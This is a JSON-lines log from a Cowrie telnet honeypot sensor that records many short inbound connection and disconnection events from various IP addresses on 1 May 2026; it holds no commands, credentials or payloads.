{"eventid":"cowrie.session.connect","src_ip":"116.118.250.81","src_port":56262,"dst_ip":"159.203.135.109","dst_port":23,"session":"42590be96303","protocol":"telnet","message":"New connection: 116.118.250.81:56262 (159.203.135.109:23) [session: 42590be96303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.182309Z"}
{"eventid":"cowrie.session.closed","duration":30.286040782928467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.193199Z","src_ip":"85.208.100.77","session":"1dfa4b9a2022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":47130,"dst_ip":"159.203.135.109","dst_port":23,"session":"75ca9e7f760e","protocol":"telnet","message":"New connection: 82.163.78.83:47130 (159.203.135.109:23) [session: 75ca9e7f760e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.340309Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":47156,"dst_ip":"159.203.135.109","dst_port":23,"session":"85ec1fc873fb","protocol":"telnet","message":"New connection: 82.163.78.83:47156 (159.203.135.109:23) [session: 85ec1fc873fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.356072Z"}
{"eventid":"cowrie.session.closed","duration":31.42699122428894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.627528Z","src_ip":"46.101.32.143","session":"14db42215a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":52256,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dd0f1f77de9","protocol":"telnet","message":"New connection: 85.208.100.77:52256 (159.203.135.109:23) [session: 9dd0f1f77de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.821952Z"}
{"eventid":"cowrie.session.closed","duration":31.895018577575684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.888258Z","src_ip":"173.249.44.46","session":"235af9dac77a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664241790771484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.053693Z","src_ip":"149.102.133.101","session":"21ec93b8e334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57778,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d036e434be","protocol":"telnet","message":"New connection: 81.30.157.18:57778 (159.203.135.109:23) [session: 85d036e434be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.213850Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":47862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4fc80d3039e","protocol":"telnet","message":"New connection: 82.163.78.83:47862 (159.203.135.109:23) [session: f4fc80d3039e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.223183Z"}
{"eventid":"cowrie.session.closed","duration":31.040758848190308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.315114Z","src_ip":"82.163.78.83","session":"861c9f427f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.494035243988037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.570696Z","src_ip":"168.119.91.149","session":"a87849d45494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57780,"dst_ip":"159.203.135.109","dst_port":23,"session":"f98a8f500a2b","protocol":"telnet","message":"New connection: 81.30.157.18:57780 (159.203.135.109:23) [session: f98a8f500a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.678000Z"}
{"eventid":"cowrie.session.closed","duration":30.974700450897217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:24.696974Z","src_ip":"81.30.157.18","session":"f396c5732177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743303775787354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.049636Z","src_ip":"81.30.157.18","session":"046989bbdb4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49138,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e5c74d6f3a4","protocol":"telnet","message":"New connection: 82.163.78.83:49138 (159.203.135.109:23) [session: 2e5c74d6f3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.127218Z"}
{"eventid":"cowrie.session.closed","duration":30.502195119857788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.218941Z","src_ip":"149.102.133.101","session":"fa023efa41c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067363023757935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.258389Z","src_ip":"37.187.24.227","session":"6ef00baa5697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49336,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b11d9b21dc4","protocol":"telnet","message":"New connection: 82.163.78.83:49336 (159.203.135.109:23) [session: 4b11d9b21dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.329204Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57792,"dst_ip":"159.203.135.109","dst_port":23,"session":"210c979e9b03","protocol":"telnet","message":"New connection: 81.30.157.18:57792 (159.203.135.109:23) [session: 210c979e9b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.538103Z"}
{"eventid":"cowrie.session.closed","duration":30.88284468650818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.581276Z","src_ip":"168.119.91.149","session":"d9ddc813b95a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57808,"dst_ip":"159.203.135.109","dst_port":23,"session":"59708d0d6c29","protocol":"telnet","message":"New connection: 81.30.157.18:57808 (159.203.135.109:23) [session: 59708d0d6c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.751928Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57814,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2927273d493","protocol":"telnet","message":"New connection: 81.30.157.18:57814 (159.203.135.109:23) [session: b2927273d493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:25.893972Z"}
{"eventid":"cowrie.session.closed","duration":30.521661043167114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.058315Z","src_ip":"173.249.44.46","session":"5242656ab8e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836172342300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.068693Z","src_ip":"37.187.24.227","session":"acc676dc6e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60111379623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.077986Z","src_ip":"149.102.133.101","session":"7684b7a86b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":39108,"dst_ip":"159.203.135.109","dst_port":23,"session":"119bbf4a4dea","protocol":"telnet","message":"New connection: 46.101.32.143:39108 (159.203.135.109:23) [session: 119bbf4a4dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.173272Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":39550,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2176109cfdd","protocol":"telnet","message":"New connection: 46.101.32.143:39550 (159.203.135.109:23) [session: f2176109cfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.396668Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49214,"dst_ip":"159.203.135.109","dst_port":23,"session":"685185b899a6","protocol":"telnet","message":"New connection: 149.102.133.101:49214 (159.203.135.109:23) [session: 685185b899a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.645069Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49776,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8f91f35e8ed","protocol":"telnet","message":"New connection: 168.119.91.149:49776 (159.203.135.109:23) [session: d8f91f35e8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.696964Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":51474,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87bd11e2cf9","protocol":"telnet","message":"New connection: 82.163.78.83:51474 (159.203.135.109:23) [session: e87bd11e2cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:26.914451Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49782,"dst_ip":"159.203.135.109","dst_port":23,"session":"db5e6646dfed","protocol":"telnet","message":"New connection: 168.119.91.149:49782 (159.203.135.109:23) [session: db5e6646dfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.094697Z"}
{"eventid":"cowrie.session.closed","duration":30.362412452697754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.133784Z","src_ip":"82.163.78.83","session":"78dd94821db8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733886241912842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.173373Z","src_ip":"46.101.32.143","session":"dd43e3786d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.278263330459595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.200379Z","src_ip":"173.249.44.46","session":"66eaed6c74cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9965980052948,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.205610Z","src_ip":"85.208.100.77","session":"838711665f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49228,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61a2498f7be","protocol":"telnet","message":"New connection: 149.102.133.101:49228 (159.203.135.109:23) [session: c61a2498f7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.232776Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":59450,"dst_ip":"159.203.135.109","dst_port":23,"session":"8265c12e1c67","protocol":"telnet","message":"New connection: 85.208.100.77:59450 (159.203.135.109:23) [session: 8265c12e1c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.304078Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49792,"dst_ip":"159.203.135.109","dst_port":23,"session":"210edc9be769","protocol":"telnet","message":"New connection: 168.119.91.149:49792 (159.203.135.109:23) [session: 210edc9be769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.337785Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":52076,"dst_ip":"159.203.135.109","dst_port":23,"session":"96640097c4d7","protocol":"telnet","message":"New connection: 82.163.78.83:52076 (159.203.135.109:23) [session: 96640097c4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.341792Z"}
{"eventid":"cowrie.session.closed","duration":31.539058685302734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.424279Z","src_ip":"168.119.91.149","session":"60044ec0b23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.521284103393555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.468204Z","src_ip":"69.65.3.189","session":"0a7d833999f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":60230,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5962c3bdd32","protocol":"telnet","message":"New connection: 85.208.100.77:60230 (159.203.135.109:23) [session: c5962c3bdd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.608590Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":52422,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b825ddcbc3","protocol":"telnet","message":"New connection: 82.163.78.83:52422 (159.203.135.109:23) [session: 43b825ddcbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.612941Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57160,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d346da30656","protocol":"telnet","message":"New connection: 37.187.24.227:57160 (159.203.135.109:23) [session: 1d346da30656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.669967Z"}
{"eventid":"cowrie.session.closed","duration":30.953271865844727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.819952Z","src_ip":"37.187.24.227","session":"df8a471cb3bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57844,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c1fe900f916","protocol":"telnet","message":"New connection: 37.187.24.227:57844 (159.203.135.109:23) [session: 6c1fe900f916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:27.987624Z"}
{"eventid":"cowrie.session.closed","duration":30.300918340682983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.037289Z","src_ip":"46.101.32.143","session":"b208dd2e83a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749088525772095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.046757Z","src_ip":"82.163.78.83","session":"d99636171e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90277123451233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.052023Z","src_ip":"81.30.157.18","session":"26b8bebc2284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.392327547073364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.055403Z","src_ip":"81.30.157.18","session":"a3255d3d4053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515336751937866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.150475Z","src_ip":"46.101.32.143","session":"b3ea5e5ff06a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00890874862671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.165187Z","src_ip":"173.249.44.46","session":"a0b092d82304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":53818,"dst_ip":"159.203.135.109","dst_port":23,"session":"a67ef5c07202","protocol":"telnet","message":"New connection: 82.163.78.83:53818 (159.203.135.109:23) [session: a67ef5c07202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.617787Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49794,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f10c1cc397b","protocol":"telnet","message":"New connection: 168.119.91.149:49794 (159.203.135.109:23) [session: 6f10c1cc397b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.673941Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49808,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e12c66b0940","protocol":"telnet","message":"New connection: 168.119.91.149:49808 (159.203.135.109:23) [session: 0e12c66b0940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.753662Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":54128,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c5f15a2f09","protocol":"telnet","message":"New connection: 82.163.78.83:54128 (159.203.135.109:23) [session: 93c5f15a2f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.822484Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49814,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24ed6ce8312","protocol":"telnet","message":"New connection: 168.119.91.149:49814 (159.203.135.109:23) [session: b24ed6ce8312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:28.827598Z"}
{"eventid":"cowrie.session.closed","duration":30.58412504196167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:29.052949Z","src_ip":"46.101.32.143","session":"5868f0fc0a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550442457199097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:29.156499Z","src_ip":"85.208.100.77","session":"f2e805c5b7c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":60610,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ab352092ec","protocol":"telnet","message":"New connection: 37.187.24.227:60610 (159.203.135.109:23) [session: 68ab352092ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:29.191692Z"}
{"eventid":"cowrie.session.closed","duration":31.138333797454834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:29.406671Z","src_ip":"85.208.100.77","session":"c45d6b1f16da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33072,"dst_ip":"159.203.135.109","dst_port":23,"session":"e56686573c4c","protocol":"telnet","message":"New connection: 37.187.24.227:33072 (159.203.135.109:23) [session: e56686573c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:29.430871Z"}
{"eventid":"cowrie.session.closed","duration":31.079939126968384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:29.982962Z","src_ip":"81.30.157.18","session":"066873348167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82468008995056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.070971Z","src_ip":"173.249.44.46","session":"a9c3978315d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36908,"dst_ip":"159.203.135.109","dst_port":23,"session":"59612a5c857f","protocol":"telnet","message":"New connection: 85.208.100.77:36908 (159.203.135.109:23) [session: 59612a5c857f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.149153Z"}
{"eventid":"cowrie.session.closed","duration":30.694361448287964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.172175Z","src_ip":"37.187.24.227","session":"f957ab572614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585397005081177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.179915Z","src_ip":"85.208.100.77","session":"8ab1f12587d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49230,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfbf634a703c","protocol":"telnet","message":"New connection: 149.102.133.101:49230 (159.203.135.109:23) [session: cfbf634a703c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.279504Z"}
{"eventid":"cowrie.session.closed","duration":30.40151023864746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.492498Z","src_ip":"168.119.91.149","session":"3f44aa5afec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":57184,"dst_ip":"159.203.135.109","dst_port":23,"session":"9060bac5a647","protocol":"telnet","message":"New connection: 82.163.78.83:57184 (159.203.135.109:23) [session: 9060bac5a647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:30.980099Z"}
{"eventid":"cowrie.session.closed","duration":30.459330558776855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.096343Z","src_ip":"81.30.157.18","session":"aec77f92feae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":57414,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef8e6111f837","protocol":"telnet","message":"New connection: 82.163.78.83:57414 (159.203.135.109:23) [session: ef8e6111f837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.185669Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":36996,"dst_ip":"159.203.135.109","dst_port":23,"session":"604fda02f722","protocol":"telnet","message":"New connection: 37.187.24.227:36996 (159.203.135.109:23) [session: 604fda02f722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.248544Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49242,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4ba537952b","protocol":"telnet","message":"New connection: 149.102.133.101:49242 (159.203.135.109:23) [session: bf4ba537952b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.335889Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6d99c23c805","protocol":"telnet","message":"New connection: 81.30.157.18:57820 (159.203.135.109:23) [session: c6d99c23c805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.385639Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57822,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0d659e3b7b2","protocol":"telnet","message":"New connection: 81.30.157.18:57822 (159.203.135.109:23) [session: b0d659e3b7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.642994Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":58002,"dst_ip":"159.203.135.109","dst_port":23,"session":"159a2935bfa5","protocol":"telnet","message":"New connection: 82.163.78.83:58002 (159.203.135.109:23) [session: 159a2935bfa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.723291Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57828,"dst_ip":"159.203.135.109","dst_port":23,"session":"2575110f3757","protocol":"telnet","message":"New connection: 81.30.157.18:57828 (159.203.135.109:23) [session: 2575110f3757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:31.897317Z"}
{"eventid":"cowrie.session.closed","duration":31.697514533996582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:32.026787Z","src_ip":"149.102.133.101","session":"b9e5977cb5e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74747347831726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:32.058551Z","src_ip":"82.163.78.83","session":"b2f30c22fb24","protocol":"telnet"}
